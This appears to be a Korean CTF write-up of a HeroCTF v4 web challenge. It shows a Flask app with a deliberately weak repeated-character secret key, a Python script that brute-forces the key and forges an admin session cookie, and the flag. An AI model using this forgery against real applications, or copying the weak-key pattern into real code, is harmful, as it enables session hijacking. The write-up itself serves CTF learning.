• [HeroCTF v4] SmallMistakeBigMistake

    2022. 5. 31.

    by. hackintoanetwork


    들어가자마자 위와 같은 페이지가 나왔다.


    당황하였지만 다행히 문제 설명에 다운로드 할 수 있는 main.py 파일이 있었다.

    #!/usr/bin/env python
    from flask import Flask, session, render_template
    
    from string import hexdigits
    from random import choice
    from os import getenv
    
    
    app = Flask(__name__)
    app.secret_key = choice(hexdigits) * 32
    
    
    @app.route("/", methods=["GET"])
    def index():
        flag = "You are not admin !"
        if session and session["username"] == "admin":
            flag = getenv("FLAG")
    
        return render_template("index.html", flag=flag)
    
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0", port=int(getenv("PORT")))

    def index():
        flag = "You are not admin !"
        if session and session["username"] == "admin":
            flag = getenv("FLAG")
    
        return render_template("index.html", flag=flag)

    코드를 봤더니 Flag는 session 데이터 값이 admin인 경우에만 출력된다고 하였다.
    Flask 세션은 Flask에서 사용자가 정의한 secret_key를 사용하여 데이터를 암호화 한다.
    세션에 들어갈 데이터를 변조하기 위해선 암호화에 사용되는 secret_key를 알아야 한다.


    app.secret_key = choice(hexdigits) * 32

    소스코드에선 secret_key를 위의 코드 줄을 사용하여 생성하고 있었고,

    secret_key를 알기위해선 hexdigits가 22개 이므로 22개의 가능성을 무차별 대입 공격해야 했다.


    파이썬으로 스크립트를 작성해 무차별 대입 공격을 시도해보았다.

    from string import hexdigits
    from requests import get
    from flask_unsign import session, DEFAULT_SALT
    
    for c in hexdigits:
        secret = c * 32
        session_cookie = session.sign(
            value={"username": "admin"}, secret=secret, salt=DEFAULT_SALT, legacy=False
        )
    
        r = get("https://smallbigmistake.web.heroctf.fr", cookies={"session": session_cookie})
        if "Hero{" in r.text:
            print("< Key Found >")
            print('')
            print("Secret Key : " + c*32 + "\nSession : " + session_cookie)
            print('')
            print(r.text)
            break
    Secret Key Found

    무차별 대입 공격 결과 secret_key는 2*3 였고 Flag를 찾을 수 있었다.

    Flag : Hero{Sm4ll_Mist4ke_c4n_be_d4ngerous_10853085}

    'CTF > HeroCTF v4' 카테고리의 다른 글

    [HeroCTF v4] $ where backdoor  (0) 2022.06.01

    댓글